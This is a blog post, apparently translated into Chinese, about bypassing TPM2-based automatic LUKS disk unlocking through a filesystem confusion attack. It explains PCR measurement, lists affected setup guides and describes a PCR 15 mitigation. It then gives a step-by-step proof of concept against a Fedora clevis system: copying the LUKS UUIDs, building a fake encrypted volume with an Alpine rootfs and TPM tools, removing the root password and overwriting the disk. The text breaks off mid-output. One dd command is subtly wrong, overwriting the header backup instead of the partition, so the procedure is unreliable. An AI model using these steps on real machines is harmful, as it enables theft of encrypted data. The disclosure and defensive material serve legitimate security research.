🔗 绕过带有自动TPM2解锁功能的磁盘加密
2025-01-16 #安全 #Linux
你是否使用TPM2和systemd-cryptenroll或clevis设置了自动磁盘解锁?那么,攻击者只需短暂物理接触你的机器,就有很大可能解密你的磁盘——经过一些准备,10分钟就足够了。在本文中,我们将探讨基于TPM2的磁盘解密是如何工作的,并理解为什么许多设置容易受到一种文件系统混淆攻击。我们将通过攻击两个不同的真实系统(Fedora + clevis,NixOS + systemd-cryptenroll)来演示这一过程。
# 用于将密钥注册到TPM的示例命令。你的系统是否受此问题影响,不取决于你在这里选择的PCR。
systemd-cryptenroll --tpm2-pcrs=0+2+7 --tpm2-device=auto <设备>
clevis luks bind -d <设备> tpm2 '{"pcr_bank":"sha256","pcr_ids":"0,1,2,7"}'
TL;DR: 大多数TPM2解锁设置未能验证解密分区的LUKS身份。由于initrd必须位于未加密的引导分区中,攻击者可以检查它,了解它如何解密磁盘以及它期望在内部找到的文件系统类型。通过使用已知密钥重新创建LUKS分区,我们可以混淆initrd,使其执行恶意的init可执行文件。由于TPM状态不会因这个假分区而改变,原始的LUKS密钥可以从TPM中解封。之后,可以完全恢复初始磁盘状态,并使用获得的密钥解密。
如果你额外使用PIN解锁TPM,或者使用正确验证LUKS身份的initrd(这需要手动操作,所以你可能知道是否如此),那么你是安全的。
🔗 基于TPM2的磁盘解密背后的原理
安全且无需密码的磁盘解密的理念是,TPM2可以存储一个额外的LUKS密钥,只有在TPM处于预定的、已知的良好状态时,系统才能检索到该密钥。这种状态记录在所谓的平台配置寄存器(PCR)中,标准合规的TPM中有24个这样的寄存器。它们的预期用途在Linux TPM PCR注册表中有描述,但也在systemd-cryptenroll(1)手册页中作为表格进行了简洁总结。
这些寄存器存储哈希值,这些哈希值在启动过程中根据引导加载程序哈希、使用的固件、启动的内核、initrd镜像等信息逐步更新。通过建立从引导加载程序到Linux用户空间的所有组件的信任链,我们可以确保更改任何组件都会影响一个或多个PCR。在TPM中存储数据时,你需要选择一个PCR列表,TPM将确保只有在这些PCR处于与注册密钥时相同的状态时,才能再次检索数据。
其中一些寄存器有约定的用途,并更新了有关系统的特定信息,例如主板的固件、BIOS配置、OptionROM(POST后从外部设备如PCIe设备加载的额外固件)、安全启动策略等。以下是手册页中的部分内容,包含了一些对我们重要的寄存器:
通常,加密卷将绑定到PCR 7、11和14的某种组合(如果使用shim/MOK)。为了允许固件和操作系统版本更新,通常不建议使用PCR 0和2等PCR,因为它们覆盖的程序代码应该已经通过测量到PCR 7中的证书间接覆盖。通过证书哈希进行验证通常比通过直接测量进行验证更可取,因为它在操作系统/固件更新时更不容易出错:每次更新时测量值都会改变,但签名应保持不变。有关更多讨论,请参阅Linux TPM PCR注册表。
如果你注册了自己的安全启动密钥并使用统一内核镜像(UKI),那么仅使用PCR 7就足以确保完整性,直到我们需要解锁磁盘为止。一些发行版则预签了EFI可执行文件,使用微软的密钥签名,这使得它们能够默认启用安全启动,而无需用户生成和注册任何内容。由于这也意味着用户无法签名他们的内核和/或initrd镜像,通常会使用一个受信任的预签名shim,在执行内核和initrd之前将其哈希值测量到PCR 9中,在这种情况下,我们希望使用PCR 9。另一种方法是让用户生成所谓的机器所有者密钥(MOK),如果他们想签名某些内容,在这种情况下,也应使用PCR 14。
因此,确切的PCR选择可能会根据用户的设置有所不同。快速在GitHub上搜索或在互联网上搜索会发现,许多人仍然选择使用额外的PCR,如0和2,以及7,这当然没问题,但可能会导致在BIOS或某些固件更新时密钥无法访问——这可能会很烦人。
🔗 常见的(易受攻击的)设置
如果你已经设置了安全启动,为LUKS分区配置TPM2解锁通常非常简单。大多数指南会使用systemd-cryptenroll或clevis,它们是不同的实现,内部执行以下某种变体:
- 将新生成的密钥添加到你的LUKS分区
- 根据你选择的PCR将此密钥密封在TPM中
- 将加密的TPM上下文存储在LUKS令牌元数据中,这是稍后解封密钥所必需的
clevis和systemd-cryptenroll都可以以其他方式存储令牌,例如使用FIDO2密钥。我发现clevis还支持从网络资源检索令牌,但除此之外,这两个工具的功能非常相似。systemd-cryptenroll只是预装在systemd中,因此通常使用起来更简单。以下是一个示例:
systemd-cryptenroll --tpm2-pcrs=7 --tpm2-device=auto /dev/nvme0n1p3
理论上,假设内核命令行无法编辑,磁盘现在得到了适当的保护,对吗?只有在PCR 7未更改的情况下才能解密磁盘,我们对引导加载程序、内核或initrd所做的任何操作都会影响PCR 7。
当然,如果没有什么小问题,我就不会问了:假设所有磁盘都已正确挂载,initrd可以确定到目前为止没有任何代码被修改。但它并不能自动确保磁盘上的数据是真实的。作为最后一步,initrd将执行真实系统的init可执行文件,该文件通常在执行前不会经过任何类型的签名检查。为什么需要呢——毕竟它是加密根分区的一部分,攻击者无法修改。
🔗 漏洞利用
首先,重要的是要知道,如果TPM解锁因任何原因失败,initrd将回退到密码提示。BIOS更新可能会导致安全启动数据库被更改(从而使PCR 7无效),或者有人在更新系统时出错,忘记正确签名内核和initrd。在这种情况下,你不想完全被锁在系统外,因此要求输入密码是合理的。
但这意味着如果我们用一个新的LUKS分区替换加密分区(我们选择密码),那么TPM解密将失败,我们将被要求输入密码,而密码由我们控制。输入密码后,initrd现在会认为它已经正确解密了分区并继续。如果我们设法在假的LUKS分区中放入正确类型的文件系统,以便实际挂载成功,我们可以提供一个恶意的init二进制文件,该文件现在可以完全访问解锁的TPM,从而允许我们解密原始文件系统,我们必须在创建恶意分区之前备份原始文件系统。
现在你可能会认为initrd可以简单地验证文件系统UUID,然后再挂载它,因为我们无法从磁盘读取它,但请记住,initrd知道的任何内容都是公开的,因为引导分区和initrd镜像没有加密。因此,如果有必要,我们可以重用相同的LUKS UUID和文件系统UUID。
🔗 保护系统
为了解决这个问题,我们需要能够在访问加密卷上的任何文件之前验证所有加密卷的身份。在2022年10月Lennart Poettering的这篇文章中,他描述了systemd中安全启动的状态,并提到了如何使系统安全的过程。这有点复杂,所以让我重申一下重要的部分。
在磁盘解锁后,我们希望从其卷密钥(用于加密所有数据的主密钥)派生一个值,并使用该值扩展PCR 15。这确保了任何假卷都会更改此值,因为原始卷密钥无法被知道。使用systemd-cryptsetup而不是cryptsetup已经可以通过在crypttab文件中添加tpm2-measure-pcr=yes来处理这个问题。
如果我们现在确保磁盘解密顺序是确定性的,那么我们可以将PCR 15中的值与initrd中已知的签名值进行比较。如果观察到错误的值,initrd现在可以在执行任何恶意操作之前中止启动过程。
🔗 许多错误的指南
有许多指南更详细地描述了如何设置基于TPM2的磁盘解锁,虽然概念总是相同的,但你肯定会找到一个适合你最喜欢的发行版的指南。以下是我在网上找到的指南列表,按日期排序:
- 在NixOS上使用安全启动和TPM支持的全盘加密 (2024/04, NixOS, systemd-cryptenroll)
- [HowTo] 使用安全启动和TPM2在启动时解锁LUKS分区 (2024/01, Manjaro, systemd-cryptenroll)
- [GUIDE] 设置TPM2自动解密 (2023/10, 未指定, systemd-cryptenroll, 误用PCR 15)
- 使用LUKS和TPM自动解密的Debian (2023/09, Debian, systemd-cryptenroll)
- Gentoo Wiki - 可信平台模块/LUKS (2023/05, Gentoo, clevis)
- 使用TPM2安全自动解密LUKS分区 (2023/01, Fedora, clevis, fedoramagazine)
- 使用TPM和安全启动的全盘加密终极指南 (2022/04, Debian, tpm2-initramfs-tool)
- 在Fedora Linux上使用TPM解密LUKS卷 (2022/03, Fedora, systemd-cryptenroll)
- ArchWiki/User:Krin/安全启动、全盘加密和TPM2解锁安装 (2021/09, Arch Linux, systemd-cryptenroll)
不幸的是,我没有找到任何解决这个问题的指南,因此大多数用户设置可能都受到这个问题的影响。不过,公平地说,这是否是一个问题显然取决于你的威胁模型。如果你只是使用TPM来解锁你的家庭服务器,而其他人没有物理访问权限,那么这可能对你来说不是问题。但如果你使用它来保护笔记本电脑上的数据以防盗窃,那么你可能希望设置TPM PIN或实现PCR 15验证,如上所述。
值得注意的是,我发现systemd-cryptenroll的ArchWiki条目在文章末尾的警告中承认了这个问题:
仅绑定到预启动测量的PCR(PCR 0-7)会打开来自恶意操作系统的漏洞。一个带有从真实根文件系统复制的元数据(如分区UUID)的恶意分区可以模仿原始分区。然后,initramfs将尝试将恶意分区挂载为根文件系统(解密失败将回退到密码输入),保持预启动PCR不变。由攻击者控制的恶意根文件系统仍然能够接收真实根分区的解密密钥。有关更多信息,请参阅《勇敢的新信任启动世界》和BitLocker文档。
虽然这是正确的,但仅使用任何PCR 8-23也不会自动保护你的数据。initrd仍然需要确保在执行系统的init二进制文件之前更改相应的PCR,而默认情况下不会这样做。
🔗 对Fedora机器的概念验证利用
现在,让我们来看一个真实系统,我们将以与其他人相同的方式设置它。我选择了上面的一篇Fedora文章,但你可以预期这也适用于其他发行版。总结一下,我的设置包括以下步骤:
- 安装Fedora 41,我选择了带有ext4的LUKS加密根分区
- 在BIOS中启用安全启动(并安装微软密钥,因为Fedora是用这些密钥签名的)
我们立即注意到的一个有趣的事情是,Fedora引导加载程序是使用微软密钥签名的。我们已经在开头简要讨论过这一点,这意味着它根本无法签名initrd。相反,他们有一个签名的shim,在引导加载程序之后执行,它将计算内核和initrd的哈希值,并将这些值扩展到PCR 9中。因此,当我们将密钥注册到TPM时,现在必须包括PCR 9,否则initrd可能会被修改。
这种方法的优点是用户不必处理自定义安全启动密钥,但缺点是每次内核或initrd更新都会影响PCR 9中的值,因此需要在每次系统更新后重新注册密钥。以下是我将密钥注册到TPM时PCR的快照。这也是我们稍后需要达到的状态。
[root@localhost]# systemd-analyze pcrs
NR NAME SHA256
0 platform-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5
1 platform-config 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d
2 external-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
3 external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
4 boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb
5 boot-loader-config 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f
6 host-platform 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
7 secure-boot-policy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17
8 - e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651
9 kernel-initrd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99
10 ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257
11 kernel-boot 0000000000000000000000000000000000000000000000000000000000000000
12 kernel-config 0000000000000000000000000000000000000000000000000000000000000000
13 sysexts 0000000000000000000000000000000000000000000000000000000000000000
14 shim-policy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc
15 system-identity 0000000000000000000000000000000000000000000000000000000000000000
16 debug 0000000000000000000000000000000000000000000000000000000000000000
17 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
18 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
19 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
20 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
21 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
22 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
23 application-support 0000000000000000000000000000000000000000000000000000000000000000
🔗 检查系统
现在,让我们假装我们对系统一无所知,只是获得了对机器的物理访问权限,而机器已经关闭。
我们首先将主磁盘取出并放入我们的机器中。如果所有者没有从他们的BIOS中删除微软密钥以支持他们自己的密钥,你也可以启动Fedora或Debian的实时镜像。启动后,我们开始调查磁盘布局和分区:
[root@localhost]# blkid
/dev/nvme0n1p1: LABEL_FATBOOT="EFI" LABEL="EFI" UUID="E2AA-BB8B" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="EFI System Partition" PARTUUID="b9cd5e99-00ec-45e8-be33-72809ae30602"
/dev/nvme0n1p2: LABEL="boot" UUID="d0a1796a-5c1e-446f-8b70-2910d094d195" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9"
/dev/nvme0n1p3: UUID="779328d5-00ca-4ade-be44-6daa549642ed" TYPE="crypto_LUKS" PARTUUID="4e73c89f-3840-458a-ada6-0f5349ab36e1"
我们快速查看加密分区,这是我们的主要目标:
[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3
LUKS header information
Version: 2
Epoch: 9
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 779328d5-00ca-4ade-be44-6daa549642ed
# [...]
Tokens:
0: clevis
Keyslot: 1
# [...]
我们已经可以看到系统所有者使用了clevis来配置自动解锁。我们现在想找到的是initrd和内核命令行,所以是一些GRUB或systemd-boot配置文件。由于Fedora使用预签名镜像,EFI分区只包含加载程序和shim,不应该包含有关实际系统的任何信息。但引导分区/dev/nvme0n1p2看起来很有希望,所以让我们挂载它看看能找到什么:
[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot
[root@localhost]# ls -l /mnt/boot
total 222500
dr-xr-xr-x. 6 root root 4096 Jan 13 23:09 ./
dr-xr-xr-x. 19 root root 4096 Jan 13 23:06 ../
-rw-r--r--. 1 root root 277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64
drwx------. 3 root root 4096 Jan 1 1970 efi/
drwx------. 3 root root 4096 Jan 13 23:10 grub2/
-rw-------. 1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img
-rw-------. 1 root root 45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img
drwxr-xr-x. 3 root root 4096 Jan 13 23:06 loader/
drwx------. 2 root root 16384 Jan 13 23:05 lost+found/
-rw-r--r--. 1 root root 182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz
-rw-r--r--. 1 root root 9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64
-rwxr-xr-x. 1 root root 16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e*
-rwxr-xr-x. 1 root root 16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64*
-rw-r--r--. 1 root root 161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac
太好了!这里有内核和initrd镜像,以及一个包含一些GRUB条目配置的loader/目录。我们将首先查看这些配置文件:
[root@localhost]# ls -l /mnt/boot/loader/entries
-rw-r--r--. 1 root root 445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf
-rw-r--r--. 1 root root 369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition)
version 6.11.4-301.fc41.x86_64
linux /vmlinuz-6.11.4-301.fc41.x86_64
initrd /initramfs-6.11.4-301.fc41.x86_64.img
options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet
grub_users $grub_users
grub_arg --unrestricted
grub_class fedora
哇,这看起来我们已经找到了所有重要的信息!从命令行语法来看,这很可能是一个由dracut生成的initrd。似乎有一个UUID为779328d5-00ca-4ade-be44-6daa549642ed的LUKS加密分区和一个UUID为1a887df4-286d-4842-bd66-d8993e8596d2的根文件系统,它肯定位于LUKS分区内。文件系统类型未指定,因此我们可以为我们的假分区选择任何initramfs支持的文件系统。
🔗 计划我们的漏洞利用
理论上,我们需要找出另一件事——initrd在切换到真实系统时将调用的二进制文件。但很有可能它是/sbin/init(尽管并非所有系统都是如此,请参阅下面的NixOS PoC示例)。如果我们的假设不成立,我们仍然可以通过稍后提取initrd来仔细检查。
为了混淆initrd,我们现在需要:
- 备份原始的LUKS分区,以便稍后解密它
- 用UUID为
779328d5-00ca-4ade-be44-6daa549642ed的假LUKS分区替换LUKS分区 - 这个LUKS分区必须包含一个UUID为
1a887df4-286d-4842-bd66-d8993e8596d2的文件系统 - 内部文件系统包含一个执行我们想要的操作的
/sbin/init二进制文件
我们实际上可能只需要备份原始LUKS分区的前几兆字节,并确保我们的假分区与我们的备份大小完全相同。通过以这种方式仅覆盖开头,我们不必进行完整的磁盘备份,否则这将花费很长时间,并且需要我们随身携带一个备用磁盘。
🔗 备份原始LUKS分区的开头
[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1
我们将滥用引导分区上的空闲空间来存储此备份,这使得以后访问变得容易。如果你不想过多地篡改原始磁盘,当然可以使用一个小型U盘。
🔗 创建具有匹配UUID的假分区和文件系统
接下来,我们创建一个64MB的文件,在其中准备我们的分区。大小有点随意,它只需要覆盖LUKS和内部文件系统头,并且必须适合我们的漏洞利用二进制文件。因此,我们使用上面的UUID初始化一个新的LUKS分区,然后打开它并使用ext4格式化其内容:
[root@localhost]# truncate -s 64MB /root/fakeluks
[root@localhost]# cryptsetup luksFormat /root/fakeluks --key-file <(echo -n 1234) --uuid 779328d5-00ca-4ade-be44-6daa549642ed
[root@localhost]# cryptsetup open /root/fakeluks fakeluks --key-file <(echo -n 1234)
[root@localhost]# mkfs.ext4 /dev/mapper/fakeluks -U 1a887df4-286d-4842-bd66-d8993e8596d2
[root@localhost]# mount /dev/mapper/fakeluks /mnt/root
🔗 准备文件系统
现在,我们理论上可以准备一个直接从TPM提取密钥的小型二进制文件,但更简单的方法是在那里放入一个最小的Alpine镜像,并安装必要的工具来手动完成此操作。这也将轻松适应64MB。让我们继续准备Alpine文件系统:
[root@localhost]# cd /mnt/root
[root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf # 仅用于此时的DNS解析,以便我们可以在chroot中安装软件包
[root@localhost]# chroot /mnt/root /sbin/apk add \ # 安装我们需要的工具
tpm2-tools tpm2-tss-tcti-device jose cryptsetup
[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm \
"https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2"
[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm # 帮助从TPM2检索密码
[root@localhost]# sed -i 's/root:x/root:/' /mnt/root/etc/passwd # 删除root密码
🔗 覆盖分区
最后,我们卸载我们的假文件系统,并用它覆盖原始分区的前64MB,然后将磁盘放回原始机器并重新启动:
[root@localhost]# umount /mnt/root
[root@localhost]# cryptsetup close /dev/mapper/fakeluks
[root@localhost]# sync
[root@localhost]# dd if=/root/fakeluks of=/root/luks-original.bak bs=64M count=1
我们现在将被要求输入我们刚刚设置的LUKS密码,因为自动解密显然不会在我们的假分区上触发,它没有令牌元数据。输入上面的密码后,我们看到了Alpine镜像。我们可以以root身份登录,无需密码:
Welcome to Alpine Linux 3.21
Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)
localhost login: root
Welcome to Alpine!
localhost:~#
🔗 验证PCR
现在让我们检查是否有任何PCR受到我们操作的影响:
localhost:~# tpm2_pcrread
sha1:
sha256:
0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6
